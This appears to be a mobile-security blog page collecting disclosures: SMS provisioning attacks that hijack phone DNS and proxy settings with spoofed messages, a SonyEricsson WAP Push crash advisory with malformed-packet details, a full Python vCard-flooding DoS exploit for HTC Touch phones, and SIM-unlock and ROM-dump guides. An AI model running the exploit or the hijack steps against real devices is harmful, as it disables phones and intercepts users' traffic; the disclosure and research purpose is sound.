Buzzdev.org

In the previous post Hijacking Mobile Data Connections , Mobile Security Lab pointed out how an attacker could gain full control on mobile data connections originated by mobile phone.

For the beginning, you may wat to read little info about XML provisioning by utak3r.

This could be achieved by reconfiguring the DNS address on victim’s mobile phone with one controlled by the attacker, by means of OMA provisioning SMS. However, during our tests some mobile phones resisted to this attack, due to the fact that, despite supporting OMA provisioning, they don’t honour configuration requests of DNS address, neither locally nor remotely.

But, as we said, OMA provisioning allows for setting other parameters than DNS; among them there are the proxy settings.

In mobile world, a proxy isn’t different from any other environment: it is a software component that is located between a client, in this case a mobile phone, and a server on Internet; any standard HTTP proxy can be used for an HTTP mobile client.

In our experiences we have noticed that the proxy settings are widely used by several operator services, mainly for delivering MMS messages.

On the other side, an attacker could use proxy configuration to hijack the victim traffic, HTTP and HTTPS, and redirect it towards an IP address under his control. Still the victim, after having installed the rogue configuration, will be unaware that a third party, the attacker, is eavesdropping the data traffic.

Hijacking by means of a proxy configuration has some differences with respect to DNS configuration, apart from being supported by a few more phones:

• Proxy component is enough to redirect user’s data traffic.
• The proxy port could be set to a different value, other than the standard TCP/80. This could be useful for the attacker to overcome some firewall restriction.
• While the operator could block DNS traffic to outside of its network, in order to mitigate attacks to DNS settings, it may be difficult to restrict access to HTTP proxies over Internet;

The limitation, of course, is that only HTTP-based services could be hijacked; this excludes email and most dedicated clients.

To be more technical, let’s shows a simple proxy configuration:

In order to provide new proxy configuration it is necessary to use the two characteristic, PXPHYSICAL and PXLOGICAL as described in provided in Provisioning Content Specification

PXLOGICAL characteristic is used to introduce a new proxy configuration inside the current XML configuration.

PXPHISICAL characteristic, defined inside PXLOGICAL characteristic, specifies the proxy server information needed to use it: proxy address, port number and other proxy related parameters, if needed.

The following two pictures show the proxy configuration on LGKM900 where it is not possible to configure a DNS address.

A suitable program must now be used to compile this configuration in a binary SMS message; then, the message can be delivered to the victim by sending AT commands to a mobile phone attached to the PC.

Original post: Mobile Security Lab

The attack that Mobile Security Lab presented at BlackHat Europe 2009 showed how it could be possible to take complete control of mobile originated data connections, by using a standard Provisioning mechanism, exploiting the ability to deliver configuration messages to handsets and performing social engineering on user by means of spoofing techniques.

Provisioning is a process that allows for remote configuration of Mobile Devices, and is tipically used by Mobile Operators for sending handsets the correct configuration for using data connections (eg: Internet access, MMS…)

Userpin is one of the available security mechanisms for performing the Provisioning process.
When using such mechanism the Mobile Operator sends a text SMS, advising the user that he is going to receive a configuration message, and a PIN code, that will be used for installing the configuration.
The configuration message is then sent as a second SMS. The user needs to insert the received PIN code, and then the configuration will be installed.

Abusing the Provisioning process can be performed in multiple ways. The solution we presented at BlackHat relies on changing the DNS address with the Userpin mechanism, but other options are possible.

Our paper can be downloaded here and slides here

A demo of the attack is now also available in the video below, where two samples of the attack have been performed.
We will provide additional samples and variations, while covering handsets from more manufacturers, in the next few days.

In this scenario, a fake info SMS is sent first, an user will believe it has been sent by the Operator because of the spoofed source and the message content.
If this message is trusted, then the user will be confident that the configuration message he will receive afterwards is also legitimate.
This SMS has been sent by using one of the many services available over the Internet, that allow sending SMS with arbitrary message source.

Then a configuration message is sent and it can be installed by using the PIN provided by the attacker; successful installation of this message will make the user trust even more the received configuration.
Usually, there is no need for spoofing such message, because many handset do not display its source.

The Nokia handset in the demo correctly shows the source number, but an attacker may bypass this by spoofing this message as well, or just by leveraging the fact that many users will not notice the information.
The provisioning message has been created by using a custom tool, but similar tools are easily available over the Internet.

In many cases, the provided configuration is installed directly as the default one.
The Nokia handset in the demo asks the user before installing it as the default, but, at this point, many user will likely consent to this.

In our scenario the attacker changes the DNS address with an IP of a DNS server he controls.
All the DNS queries will be answered with the address of an HTTP transparent proxy, and all the HTTP traffic will flow through this point of interception.
This allow to access and modify the traffic, effectively hijacking the sessions.

The video provides demonstration that, by using this technique, an attacker is able to access the clear text victim traffic.
This can be achieved just by sending a couple of SMS to an unsuspecting victim; the attack will survive to any reboot of the handset.

User awareness is one of the best defense against this kind of attack:
Have a careful look to the configurations installed in your handset.

Mobile Security Lab has discovered another remote DoS attack on mobile devices. This one is particulary interesting, because one can in theory send a single UDP packet to freeze or reboot many mobiles at once.

Affected SonyEricsson devices are:

• W910i
• W660i
• K618i
• K610i
• Z610i
• K810i
• K660i
• W880i
• K530i

Other devices based on the same (or earlier) platform are likely to be vulnerable.
More recent devices may be not vulnerable.

A malformed WAP Push packet is able to remotely reboot the handset and, in some cases, completely hang it.

In case the handset hangs, battery removal is needed in order to restore normal functionalities.
By sending multiple malformed packet via SMS, an attacker may be able to reboot the handset multiple times, effectively performing an extended denial of service.

The attack can also be performed over an IP bearer using UDP port 2948.
In this case a single malformed broadcast packet can be used to attack and disable a large number of devices, leading to a much heavier impact.

There are not know any solutions and workarounds for this DoS attack. The issue has been reported to SonyEricsson.

Mobile Security Lab is aware that the problem has been identified: some models, more recent than the ones listed in this advisory, have been found not to be vulnerable.

Technical Details

MSL-2008-001 vulnerability raised a significant attention; we have now decided to disclose its technical details. We decided to proceed with the disclosure in order to stimulate public analysis and contribution, hoping to increase awareness about this issue and ultimately help protection against it.

The following description is based on our tests and our inference of what happens inside the device.
Unfortunately, researching vulnerabilities on such devices is a long and painful work, because of the lack of documentation, testing tools and debuggers, so we cannot ultimately state what happens at the code level.

All evidences are towards a vulnerability occurring in the parsing of WAP Push header; the code devoted to such parsing appears to be used for processing packets received both on SMS and IP.

We strongly believe that the specific issue resides in the improper handling of incorrect size fields inside the WAP Push headers.

WAP is actually a large framework, into which WSP is in charge of content delivery. A reference document describing WSP protocol can be found here:

http://www.openmobilealliance.org/tech/affiliates/LicenseAgreement.asp?DocName=/wap/wap-230-wsp-20010705-a.pdf

WSP makes extensive use of size fields; our tests have tracked a few fields that, if incorrectly specified, will lead the vulnerable handsets to an error condition, such as rebooting or system freezing. More specifically, the vulnerability will be triggered if, in such fields, the specified length is larger than the actual amount of bytes.

Since WAP can be carried both over SMS and IP protocol, we will make use of the latter to show an example; this enables us to use Wireshark to better explain the data structures.

The following pictures show the capture of 2 sample IP packets that, when sent to the handset, will make it reboot; they have been opened with Wireshark, even though they are marked (obviously) as ‘malformed’.
The lower pane shows the hexadecimal representation of WAP payload.

Fig 1 - MSL-2008-001-1

Figure 1 shows one of the first formats we researched: this is a WAP Push message carrying a “multipart” Content-Type payload. According to the specifications, the 2 bytes circled in the screenshot refer to the multipart payload headers:
Header Length: 0×0a
Content Length: 0×1

In the remaining part of the packet there are only 0xa bytes, and no byte as referenced by the 0×1 of the Content Length. This is enough for triggering the vulnerability; changing the Content Length to 0×0 would fix the header and the payload would be normally processed by the handset without any consequence.

Let’s see another example:

Fig 2 - MSL-2008-001-2

This sample does not use any multipart content, it just consists of the WAP Push packet header, without any payload. The specified Header Length (3rd byte) is 0×1c bytes long, while there
are just 0×1b remaining bytes in the header. Changing the Header-Length to the correct value of 0×1b would fix the header resulting in an inoffensive WAP Push packet.

These malformed WAP Push packets are to be sent over UDP, but the very same payload can be embedded in a properly formatted SMS.

We are not sure that all the possible attack vectors have been identified; and the two samples, even if they yield the same effect, may actually be due to different code execution flows.

Besides, it seems that the vulnerability occurs quite early in the processing of the WAP packet, because the UI settings are not able to influence in any way the processing of such packets.
The vulnerability occurs long before anything is displayed on the UI, and the received SMS is not even saved in the Inbox.

The ‘closed’ OS and the characteristics of this vulnerability suggest us that a protection on the network side could be a viable alternative to that on the handset side, but other options may apply too.

Source: Mobile Security Lab

Below is the source code for HTC Touch vCard DoS exploit

#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY

    print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
    # Parsing options
    parser = OptionParser("usage: %prog [options] target_IP")
    parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
    parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
    parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
    parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
    parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print ""
        exit(1)

    if options.count:
        num_packets = options.count

    if options.delay:
        delay = options.delay

    if options.silence:
        vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)

    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print "Sending %d packets... to %s" % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter < = num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print "Error sending packet n.%d" %counter
            break

        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent

        # Sleep for letting the device parse vcards
        sleep(delay)

        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap >= 1:
            print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0

    stop_time = time()
    stop_sec = stop_time - start_time

    # Display info
    print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
    print "Start time: %s" %ctime(start_time)
    print "Stop time: %s" %ctime(stop_time)
    print "Payload Len = %d bytes" % len(vcard_body)
    print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
    main()

# milw0rm.com 2009-03-02

“You are browsing with your shiny smartphone while being connected to a wireless LAN.
Suddenly you receive a single SMS carrying a new contact information.
You don’t even have the time to check it, that your SMS inbox starts filling with unwanted messages and you don’t seem to be able to stop it…”

This is a possible scenario that may happen if you are victim of a vCard Denial of Service.

If you are curious, how that really works, try it out yourself on your own device.
Open the URL below in your HTC Touch and press a button.

Exploit test: http://poc.mseclab.com/MSL-2008-002_Test.html

Vulnerability Details

Vendor: HTC

Platforms: Touch Pro, Touch Cruise

Class: Denial of Service

Remote: Yes

Local: No

Public References: Not Assigned

Affected: HTC Touch Pro, HTC Touch Cruise

Not Affected: Currently Unknown

Description

UDP/9204 port is open and reachable both via WiFi and GPRS/UMTS connection when the device is capable of sending and receiving SMS.
Port is always open on the Touch Pro, while on Touch Cruise the port is open when the SMS application is running.

UDP/9204 is associated with the service WAP-vCard and is used for sending vCard files to the device, that are displayed as normal SMS to users.
By flooding the device with multiple vCards it is possible to perform a Denial of Service attack that affects usability, SMS handling and connectivity.
By sending large number of vCards an attacker can achieve significant device slowdown, making the UI sluggish and hard to use.
In some cases WiFi connections may be dropped (when vCards are sent via WiFi), effectively disconnecting the device from the network.

On Touch Cruise devices, SMS inbox can be completely filled by sending more then 450 large vCards (size 32K).
The device will not be able to receive SMS anymore or to access the message stored inside the device until SMS deletion occurs.
Additionally, when large vCards are sent, no acoustic notification (ring tones) will be played upon incoming messages, making the attack more silent and less noticeable by an user.

Battery removal may be needed, in some cases, for restoring normal functionalities.
Manual deletion of all received SMS requires a very long time, making the deletion of all the SMS the most viable option, but leading to loss of all received SMS and requiring in any case a large amount of time (even hours).
The faster option for restoring the device is performing a hard reset of the device, leading to the loss of all the content saved on the handset.

The attack can be easily carried in all the scenarios where the device IP stack is accessible to an attacker, such as Wireless LANs and Mobile Networks assigning public IP addresses without any firewall protection.

Solutions and Workaround

A personal firewall solution can be used for denying unwanted access to the port, effectively avoiding possible attacks.

Additional Info

Timeline:
2008-12-03: Issue discovery
2008-12-05: Initial Vendor Notification: Point of Contact requested via contact form on website (No suitable e-mail available)
2008-12-14: Vendor Response: Customer support answered without providing any suitable contact for vulnerability communication
2008-12-19: Public Disclosure

Vendor Statement: None

Exploit example: Source code by mseclab

Published by Mobile Security Lab on 2008-12-19.

i’ve got nice email with a link to xvrsfrnssks’s blog which is about how to unlock Huawei e220.
That is exactly what i was looking for few weeks ago :)

Nice work!! THANX

Below is my attempt to unlock a huawei e220 datacard. so please understand, i do not take any responsibility for your actions with this information.

let’s get it right, shall we…

Preparation

1. E220Update_11.117.09.04.00.B268.exe
2. QC BQS Analyzer or this
3. Hex Editor (HxD is a good one)
4. E220 SimLock_UnLock.exe or this
5. E220 DataCard in your USB port

The work

run the E220 Firmware Update Wizard until datacard is detected and cancel it. your e220 will be detected more easily by QC BQS Analyzer.

run QC BQS Analyzer, choose ‘Communication’ – ‘Use Com/USB Port’. a ‘QC Com Diag Window’ will appear. test your connection.

1. set your Serial Com Port (3G PC UI Interface, not the other one)
2. click ‘Send Cmd’

you’ll get ‘Successfully send command.’ and output similiar to the textbox. If you got no response at all (no output or ‘CommError’), you have to restart the process.

set ‘Read EFS’ from Standard Mode dropdown menu, click ‘Lets go’. name the file (efs.bin), save it.

open saved file with hex editor, search for following hex-chain: 53-64-2C-00, and you should see the unlock code.

run E220 SimLock_UnLock.exe, enter your unlock code.

Remarks

Hardware & Firmware Version: ^FHVER:11.117.09.04.00,CD33TCPUB”
(AT^FHVER)

Tested on: T-Mobile E220, INDOSAT E220

Dear friends,
pof just released free SIM unlocker for HTC Hermes (aka. TyTN).

Thanks to:
* buzz_lightyear, itsme, vijay555, arc, Asukal – for the wise advice and support
* everyone else in xda-developers.com :)

History:
v2 [12-11-2006] – updated to patched radio 1.16
unlocking software provided (HERM_Unlock_v2.exe): thanks buzz for the source of UNI_Unlock_v1 ;-)
SuperCID is now kept after rom upgrades :-)

v1 [05-11-2006] – patched radio 1.13
unlock manually

Read -> Complete description, FAQs and HowTo

Download from:
buzzdev.net downloads

Universal SIM Unlock is finally released
and you don’t have to pay a single cent for it.
Unlike some other companies, who are asking horrible money for just few bytes,
you can get it for free here at buzzdev.
More than that, with other solutions, you must send your expensive device to them,
which is quite dangerous itself and you also loose all your data on the device.

Just go ahead and get your free unlocker. Read included ReadMe.txt carefully and you are done in few minutes.
The whole operation is safe, it doesn’t wipe data and configuration of your device.
It also makes your device SuperCID.

MANY THANXS to:
mamaich
for his great finding, which makes this come true.
Everyone please praise mamaich!

itsme
for his wonderfull scripts and efforts put into researching

arc
for providing very special tools and interesting stuff

vijay555
for his constant support on anything
and for being my spokesman :o))

machinagod
for providing usefull stuff and info

mwang
for donating Universal device to me and other support

and all of you guys for being patient :o)))
buzz

Download: UNIVERSAL SIM Unlock v1.0
Read: Forum discussion

Here are some bootloader commands to dump parts of HTC Universal ROM.

Security level check

Before you can do any dumps off of your device, you must first pass the security check. You need to issue this command before any set of “d2s” commands.

task 32

Typical output looks like this:

USB>task 32
SD:Waiting for card insert.........

CMD3 for SD, it's OK, ready to get RCA from response.

SD:Detected one card

SD:ready for transfer OK

d.total_lba=F1F00
d.block_size=200
d.RCA=80CA
d.drv_type=40000000
d.busWidth=1
Total card size=1E3E0000

Level = FF

If the last line of output is Level=00 you are OK and your device is so called SuperCID device and you are allowed to dump the ROM content.
In case you’ll get Level=FF, you need to make your device SuperCID (see below).

Dump Bootloader

d2s 70000000 80000

OS ROM + splash

d2s 70100000 3FA0000

XtendedROM

d2s 74100000 A00000

Radio ROM

d2s 60000000 a24200

If you want to have them all on single SD card, you must add “sd a” at the end of each command except the first one.

OS ROM + Xtended ROM + Radio

d2s 70100000 3FA0000
d2s 74100000 A00000 sd a
d2s 60000000 a24200 sd a

Which program you use to do this?

We use good old mtty.exe version 1.16
mtty116 (63) - 15.18 kB

Important notice

Never copy & paste commands into mtty.exe. You always have to write it down there.
Use mtty.exe version 1.16, newer versions (1.42) are not working properly.

There are some devices, where the commands above are locked and you always get “Not allow operation” as response.
For these devices you have to use Universal SIM unlocker first, which will also unlock the CID of your device.

Introduction

Background of the IDEA

TOOLS

• Multi-Port TTY (any version will do)
• NTRW.exe version 2.0
• SD/MMC(minimum of 16MB will do but i recommend 64MB so you can backup everything including the OS)
• PSDREAD.exe (optional)
• PSDWRITE.exe (optional)
• Panasonic SD Formatter v1.1 (optional)

PROCEDURES

I. BACKUP

1. Kill or End Processes of wcescomm.exe under Windows Task Manager (Ctrl+Alt+Delete)
2. Then Run Multi-Port TTY (mtty.exe or romupdate.exe)
3. On the ListBox choose .WCEUSBSH001 if you are using mtty v1.11a or USB if newer(like version 1.45)
4. Under the Windows enter the following command to Backup the OS and the Data (Minimum SD size 64MB)

For 1.60a, 1.50f.01FRE, 1.50f.00WWE(Gora’s Device)

• d2s 71080000 00EA0000
• d2s 80040000 01FC0000 sd a

For 1.50f.blWWE, 1.50g, 1.50h, 1.50i.64

• d2s 94000000 04000000
• d2s 80040000 01FC0000 sd a

For 1.50i.96

• d2s 96000000 02000000
• d2s 80040000 01FC0000 sd a

For 1.50i.32

• d2s 92000000 06000000
• d2s 80040000 01FC0000 sd a

But you can only Backup the Actual ROOT Files System and Disregard the OS Rom by doing only the command (d2s 80040000 01FC0000 sd a is optional, it will backup your OS rom as well, i recommend you to do it but not including this command will also work)

For 1.60a, 1.50f.01FRE, 1.50f.00WWE(Gora’s Device)

• d2s 71080000 00EA0000

For 1.50f.blWWE, 1.50g, 1.50h, 1.50i.64

• d2s 94000000 04000000

For 1.50i.96

• d2s 96000000 02000000

For 1.50i.32

• d2s 92000000 06000000

II. Saving the Backup in your PC

• NTRW.exe -> this is the most popular method to command is

ntrw.exe read backup.img i:

whereas

i: is the Drive letter of SD/MMC Card Reader

backup.img is the output file location and file to be contain the backup

the
problem with this tool is it will extract the entire Binary Disc Image
of your SD/MMC to your PC, depending how big your SD/MMC the
extracted backup.img will be the same as big as your SD/MMC ex. 1GB SD will create a 1GB backup.img

• PSDREAD.EXE -> is
  more advanced way of extracting the Binary Disc Image in your SD/MMC.
  You can choose the legth of the Image will be extracted and when to
  start.

heres the Syntax Usage of Psdread.exe

 Usage: psdread [-DSKNR | drive:] start [ length [ filename ] ]
-t     : find exact disk size
-l     : list all diskdevices
-3   is the disknr of the sdcard on the xda2/himalaya
-1   is the disknr of the sdcard on the xda1/wallaby

if the filename is omitted, the data is hexdumped to stdout
if no length is specified, 512 bytes are printed

For 1.60a, 1.50f.01FRE, 1.50f.00WWE(Gora’s Device)

• 0x0000019C -> SD Header
• 0x00EA0000 -> Storage Memory
• 0x0000001C -> Append Header
• 0x01FC0000 -> OS ROm
• 0×00000004 -> HTCE (4bytes)

So the Command will be

psdread.exe i: 0 0x2E601BC backup.img

For 1.50f.blWWE, 1.50g, 1.50h, 1.50i.64

• 0x0000019C -> SD Header
• 0×04000000 -> Storage Memory
• 0x0000001C -> Append Header
• 0x01FC0000 -> OS ROm
• 0×00000004 -> HTCE (4bytes)

So the Command will be

psdread.exe i: 0 0x5FC01BC backup.img

For 1.50i.96

• 0x0000019C -> SD Header
• 0×02000000 -> Storage Memory
• 0x0000001C -> Append Header
• 0x01FC0000 -> OS ROm
• 0×00000004 -> HTCE (4bytes)

So the Command will be

psdread.exe i: 0 0x3FC01BC backup.img

For 1.50i.32

• 0x0000019C -> SD Header
• 0×06000000 -> Storage Memory
• 0x0000001C -> Append Header
• 0x01FC0000 -> OS ROm
• 0×00000004 -> HTCE (4bytes)

So the Command will be

psdread.exe i: 0 0x7FC01BC backup.img

Whereas:

i: is the Drive letter of SD/MMC Card Reader

0 is the starting offset (0 means begginning of the SD)

0x2E601BC or 0x3FC01BC or 0x5FC01BC or 0x7FC01BC is the length of Actual Backup

backup.img is the output file location and file to be contain the backup

III. Writing Back to SD

• NTRW.exe -> this is the most popular method to command is

ntrw.exe write backup.img i:

whereas

i: is the Drive letter of SD/MMC Card Reader
backup.img is the file containing the backup

if will return an Error but dont panic it is just normal

• psdwrite.exe -> this is the most popular method to command is

psdwrite.exe i: backup.img

whereas
i: is the Drive letter of SD/MMC Card Reader
backup.img is the file containing the backup

IV. Restoring the Backup

• Go to Bootloader Mode By pressing and Hold the Following Buttons

1. Power Button
2. Directional Pad (Action Button)
3. Reset Button

• After Seeing the Serial v.106(version depending on your device) insert the SD that contains the backup
• Wait till you see the Message Saying PRESS Power On to Continue, Then Press power Button
• If it didnt respond and the message is not Showing just, Press Camera Button